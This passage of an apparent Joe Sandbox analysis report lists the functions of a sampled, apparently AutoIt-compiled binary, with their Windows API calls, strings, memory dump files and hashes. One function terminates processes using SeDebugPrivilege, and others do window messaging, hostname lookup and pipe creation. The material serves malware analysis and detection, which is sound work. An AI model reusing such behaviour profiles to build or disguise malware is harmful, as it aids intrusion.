MapVirtualKeyW.USER32(00000025,00000000), ref: 003D2E9F
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 003D2EB3
Sleep.KERNEL32(00000000,?,00000101,00000027,00000000,?,00000100,00000027,00000000), ref: 003D2EB7

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: 32d1254c3673a97a51932ce72348af0cf1b129f6561af4948ee133ba4ef53bc6
Instruction ID: 91d22852a4f1da0d285ec79ab4a77b40f9a75496093ef722ede725fbcdeee0c9
Opcode Fuzzy Hash: 32d1254c3673a97a51932ce72348af0cf1b129f6561af4948ee133ba4ef53bc6
Instruction Fuzzy Hash: 250175316806147BFB1067A99C8AF567F59DB99B51F100416F318AE1E0C9F254448AAD

Function 003D2093 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,?,00000000,?,003D1CD9,?,?,00000000), ref: 003D209C
HeapAlloc.KERNEL32(00000000,?,003D1CD9,?,?,00000000), ref: 003D20A3
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,003D1CD9,?,?,00000000), ref: 003D20B8
GetCurrentProcess.KERNEL32(?,00000000,?,003D1CD9,?,?,00000000), ref: 003D20C0
DuplicateHandle.KERNEL32(00000000,?,003D1CD9,?,?,00000000), ref: 003D20C3
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,003D1CD9,?,?,00000000), ref: 003D20D3
GetCurrentProcess.KERNEL32(003D1CD9,00000000,?,003D1CD9,?,?,00000000), ref: 003D20DB
DuplicateHandle.KERNEL32(00000000,?,003D1CD9,?,?,00000000), ref: 003D20DE
CreateThread.KERNEL32(00000000,00000000,003D2104,00000000,00000000,00000000), ref: 003D20F8

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: 32424189c809f5281fe7d40a8c87cb0401af1fc28a52f473a430cbd8dcf4ea0e
Instruction ID: 8814a02534f01512cb38b9a627a6350d62c49091f3da393f6fbfbcdec2b74170
Opcode Fuzzy Hash: 32424189c809f5281fe7d40a8c87cb0401af1fc28a52f473a430cbd8dcf4ea0e
Instruction Fuzzy Hash: 6301BBB5640308BFE710ABB5DD4DF6B3BACEB89711F008421FA05EB2A1CA709C04CB24

Function 003FAA41 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 160COMMON

Download Yara Rule

APIs

Part of subcall function 003DDC9C: CreateToolhelp32Snapshot.KERNEL32 ref: 003DDCC1
Part of subcall function 003DDC9C: Process32FirstW.KERNEL32(00000000,?), ref: 003DDCCF
Part of subcall function 003DDC9C: CloseHandle.KERNELBASE(00000000), ref: 003DDD9C

OpenProcess.KERNEL32(00000001,00000000,?), ref: 003FAACC
GetLastError.KERNEL32 ref: 003FAADF
OpenProcess.KERNEL32(00000001,00000000,?), ref: 003FAB12
TerminateProcess.KERNEL32(00000000,00000000), ref: 003FABC7
GetLastError.KERNEL32(00000000), ref: 003FABD2
CloseHandle.KERNEL32(00000000), ref: 003FAC23

Strings

SeDebugPrivilege, xrefs: 003FAAEE

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: 83848e7bf1a3f13a2eff41f456e9aa3db29404456d06149b94880b7727ba4abb
Instruction ID: 2fa3702e21a9a180a2cded18827674b9597c65c4605016ac911711503e746736
Opcode Fuzzy Hash: 83848e7bf1a3f13a2eff41f456e9aa3db29404456d06149b94880b7727ba4abb
Instruction Fuzzy Hash: 4E61C170208602AFD722DF14C594F26BBE5AF44308F15C49CE56A8F7A2C775ED49CB92

Function 004041E5 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 141windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00404284
SendMessageW.USER32(00000000,00001036,00000000,?), ref: 00404299
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 004042B3
_wcslen.LIBCMT ref: 004042F8
SendMessageW.USER32(?,00001057,00000000,?), ref: 00404325
SendMessageW.USER32(?,00001061,?,0000000F), ref: 00404353

Strings

SysListView32, xrefs: 00404256

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: MessageSend$Window_wcslen
String ID: SysListView32
API String ID: 2147712094-78025650
Opcode ID: c0a587ce9f9237b3b7e144f4b0cccec6e685db90a2b54bf2d67f48a25502fd07
Instruction ID: f671b1f48bdb55aaf90dac5188b77860344e7bcabb3c098f03ad92a687cfe8e2
Opcode Fuzzy Hash: c0a587ce9f9237b3b7e144f4b0cccec6e685db90a2b54bf2d67f48a25502fd07
Instruction Fuzzy Hash: E541B171A00308ABDB219FA4CC45FEB7BA9EF48360F10057AFA54F72D1D77899848B94

Function 003DC53A Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 003DC5D9
IsMenu.USER32(00000000), ref: 003DC5F9
CreatePopupMenu.USER32 ref: 003DC62F
GetMenuItemCount.USER32(01034A78), ref: 003DC680
InsertMenuItemW.USER32(01034A78,?,00000001,00000030), ref: 003DC6A8

Strings

2, xrefs: 003DC613
0, xrefs: 003DC584

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup
String ID: 0$2
API String ID: 93392585-3793063076
Opcode ID: 46b44ced9030c2545ca025611d57145767e0a19207aef3ecd0e416966dcf9801
Instruction ID: 79d125747c51c9a4692269e002511309183ba262154d7c15ab1d074d9d190777
Opcode Fuzzy Hash: 46b44ced9030c2545ca025611d57145767e0a19207aef3ecd0e416966dcf9801
Instruction Fuzzy Hash: 3551B472930206ABDF12CFA8E984BAEBBF5AF44314F18615AF811AB391D770DD44CB15

Function 003DE653 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 70networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 003DE66E
gethostname.WSOCK32(?,00000100), ref: 003DE688
gethostbyname.WSOCK32(?), ref: 003DE695
inet_ntoa.WSOCK32(?), ref: 003DE6D7
_strcat.LIBCMT ref: 003DE6E5
WSACleanup.WSOCK32 ref: 003DE70A

Strings

0.0.0.0, xrefs: 003DE6B3

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: CleanupStartup_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 642191829-3771769585
Opcode ID: 4a3c494f21e4f3803fe6e984adffe50ca3840f435106209b100ec6f44e442b23
Instruction ID: 8eadb0ae1c209b9cb3f470e9ce839389ab7ece585318900a567ec6c39ff157b6
Opcode Fuzzy Hash: 4a3c494f21e4f3803fe6e984adffe50ca3840f435106209b100ec6f44e442b23
Instruction Fuzzy Hash: 0D110336D00215AFDB2A7B70AC4AEEE3BBCEF44710F110076F545AB192EF70CA859A54

Function 003F4E80 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 262COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 003F4FA5
VariantInit.OLEAUT32(?), ref: 003F50A6
VariantClear.OLEAUT32(?), ref: 003F50B0
VariantClear.OLEAUT32(?), ref: 003F510D

Strings

Incorrect Object type in FOR..IN loop, xrefs: 003F5089
Null Object assignment in FOR..IN loop, xrefs: 003F4F35, 003F5063, 003F511B

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Variant$ClearInit
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2610073882-625585964
Opcode ID: 8d03a121ef619b3e10ecaafe02747fa7c466125ce1600f4d9a5ff96acf1f1de5
Instruction ID: 6fc0d118fdedcc6428fe8cf84f5690b2a994251a52423cd4b945332305fea914
Opcode Fuzzy Hash: 8d03a121ef619b3e10ecaafe02747fa7c466125ce1600f4d9a5ff96acf1f1de5
Instruction Fuzzy Hash: 4E918E71A00319ABDF21CFA5CC44FAEBBB8EF45714F108559F619AB280DB70A945CFA0

Function 003F42A4 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 240COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 003F42C8
CharUpperBuffW.USER32(?,?), ref: 003F43D7
_wcslen.LIBCMT ref: 003F43E7
VariantClear.OLEAUT32(?), ref: 003F457C

Part of subcall function 003E15B3: VariantInit.OLEAUT32(00000000), ref: 003E15F3
Part of subcall function 003E15B3: VariantCopy.OLEAUT32(?,?), ref: 003E15FC
Part of subcall function 003E15B3: VariantClear.OLEAUT32(?), ref: 003E1608

Strings

AUTOIT.ERROR, xrefs: 003F43DD, 003F43E2
Incorrect Parameter format, xrefs: 003F4303, 003F44FE

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper_wcslen
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4137639002-1221869570
Opcode ID: 0f548740d5e06064b64c200a3bfeeccb40a19572dd55e1540bdc1c3326021613
Instruction ID: 97627ef4f880581b2831cf1a61b19d0ac5bdc91cf15fb2ec4eb05e148bef9986
Opcode Fuzzy Hash: 0f548740d5e06064b64c200a3bfeeccb40a19572dd55e1540bdc1c3326021613
Instruction Fuzzy Hash: 1F9177746083059FC711EF68C48196AB7E5FF88314F14892EF98A9B351DB34ED06CB82

Function 00402A5C Relevance: 10.7, APIs: 7, Instructions: 196windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 00402AE2
GetMenuItemCount.USER32(00000000), ref: 00402B14
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00402B3C
_wcslen.LIBCMT ref: 00402B72
GetMenuItemID.USER32(?,?), ref: 00402BAC
GetSubMenu.USER32(?,?), ref: 00402BBA

Part of subcall function 003D42CC: GetWindowThreadProcessId.USER32(?,00000000), ref: 003D42E6
Part of subcall function 003D42CC: GetCurrentThreadId.KERNEL32 ref: 003D42ED
Part of subcall function 003D42CC: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,003D2E43), ref: 003D42F4

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00402C42

Part of subcall function 003DF1A7: Sleep.KERNEL32 ref: 003DF21F

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Menu$Thread$Item$AttachCountCurrentInputMessagePostProcessSleepStringWindow_wcslen
String ID:
API String ID: 4196846111-0
Opcode ID: 2cd8f4a2d4c13a45774dd3f80a4d32d0a76e14005e46dd5cd9915ac88faa72ac
Instruction ID: 25fddec4cf3db6477211e2929205b5891d0c4700f75ae741c3a70cf23ac9fa84
Opcode Fuzzy Hash: 2cd8f4a2d4c13a45774dd3f80a4d32d0a76e14005e46dd5cd9915ac88faa72ac
Instruction Fuzzy Hash: 15719235A00205AFDB11EFA4C945AAEB7F5EF48310F10846AE816BB391DB78ED418F94

Function 004087FD Relevance: 10.7, APIs: 7, Instructions: 193windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00408896
IsWindowEnabled.USER32(00000000), ref: 004088A2
SendMessageW.USER32(00000000,0000041C,00000000,00000000), ref: 0040897D
SendMessageW.USER32(00000000,000000B0,?,?), ref: 004089B0
IsDlgButtonChecked.USER32(?,00000000), ref: 004089E8
GetWindowLongW.USER32(00000000,000000EC), ref: 00408A0A
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 00408A22

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: 804f27c4b23fef6f12d1816ddeb79035b22cecb9a4bafcd83f3c6563bc20f642
Instruction ID: e65cb526f031d742acbf6e015d3f5247273554df8b1958121c5d43fca58212b3
Opcode Fuzzy Hash: 804f27c4b23fef6f12d1816ddeb79035b22cecb9a4bafcd83f3c6563bc20f642
Instruction Fuzzy Hash: C571C074600204AFEF21AF54CA84FBB7BB5EF49300F54447EE885673A1CB39A951CB19

Function 003D808C Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 003D80D1
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 003D80F7
SysAllocString.OLEAUT32(00000000), ref: 003D80FA
SysAllocString.OLEAUT32 ref: 003D811B
SysFreeString.OLEAUT32 ref: 003D8124
StringFromGUID2.OLE32(?,?,00000028), ref: 003D813E
SysAllocString.OLEAUT32(?), ref: 003D814C

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: ea9f8ea7f5504b96aabd52b7d39e93b353323f0f3c34463e8e5530632218ad97
Instruction ID: e73961fd418904af555f1f41bc094f544d49cd3c765f6557045ece8e1f21c21f
Opcode Fuzzy Hash: ea9f8ea7f5504b96aabd52b7d39e93b353323f0f3c34463e8e5530632218ad97
Instruction Fuzzy Hash: 05218676600214BFDF119FB8DC88DAA77ECEB493607018126F915DB3A0DA70EC49CB68

Function 003E0D8E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 003E0DAE
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 003E0DEA

Strings

nul, xrefs: 003E0E23

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: 52567d6c4baaf44bf492ffacff9cd3dc820077748b4e36560a1be06523b79970
Instruction ID: cf2a8b7d7aea45bd60e3d219ff7d1beeae6c5f2d2ef79f6fc03c0c17eb9ec564
Opcode Fuzzy Hash: 52567d6c4baaf44bf492ffacff9cd3dc820077748b4e36560a1be06523b79970
Instruction Fuzzy Hash: 2A216070500755EFDF259FA6DC04A9ABBE4AF95760F204F29F9A1E72E0D7B09880CB50

Function 003E0E63 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 003E0E82
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 003E0EBD

Strings

nul, xrefs: 003E0EF5

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: 4a5e449ae6864fddb5caa70b178adca7e640c3e90ceda4c8372b5540ee44f515
Instruction ID: 7a59bb39893f708c959736697922fd01c57bdcbb4bc15cb081164448ab3f50c0
Opcode Fuzzy Hash: 4a5e449ae6864fddb5caa70b178adca7e640c3e90ceda4c8372b5540ee44f515
Instruction Fuzzy Hash: B021B271500365ABDB359F6ADC04A9AB7E8EF55324F200B29FDE1E72E0D7B09891CB10

Function 00404A0C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0037771B: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00377759
Part of subcall function 0037771B: GetStockObject.GDI32(00000011), ref: 0037776D
Part of subcall function 0037771B: SendMessageW.USER32(00000000,00000030,00000000), ref: 00377777

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00404A71
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 00404A7E
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00404A89
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00404A98
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00404AA4

Strings

Msctls_Progress32, xrefs: 00404A42

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: cc2dc0851706f258366917f28715ef2db1949015450b3c808b0981e4df824f71
Instruction ID: fadf9541b0c4c77dda25acfc06d4255b906661feff6ac3e932764a0c2d0ed32f
Opcode Fuzzy Hash: cc2dc0851706f258366917f28715ef2db1949015450b3c808b0981e4df824f71
Instruction Fuzzy Hash: 2F11B6B224021DBEEF119F64CC81EE77F9DEF08758F004121FB18A6190C6759C219BA8

Function 003DE223 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 003DE23D
LoadStringW.USER32(00000000), ref: 003DE244
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 003DE25A
LoadStringW.USER32(00000000), ref: 003DE261
MessageBoxW.USER32(00000000,?,?,00011010), ref: 003DE2A5

Strings

%s (%d) : ==> %s: %s %s, xrefs: 003DE282

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: HandleLoadModuleString$Message
String ID: %s (%d) : ==> %s: %s %s
API String ID: 4072794657-3128320259
Opcode ID: 28541a11b3fb71b08b9fc596094a2a4d4d4c5ce410a1fa5812924024751b965f
Instruction ID: 0575b7a41e8b6733749281ee030731d53e205db6f7dd689a8a9abe101e699b67
Opcode Fuzzy Hash: 28541a11b3fb71b08b9fc596094a2a4d4d4c5ce410a1fa5812924024751b965f
Instruction Fuzzy Hash: 280136F6D002087FE711A7D4DE89EE7776CEB08304F0149A2B746F6141EA749E888B75

Function 003A0547 Relevance: 9.3, APIs: 6, Instructions: 269COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 003A044A
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 003A0466
__allrem.LIBCMT ref: 003A047D
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 003A049B
__allrem.LIBCMT ref: 003A04B2
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 003A04D0

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: 3b686d4a0d755d779951a52b9d8f837eb1b99ccf419568f28e31d38a071957b4
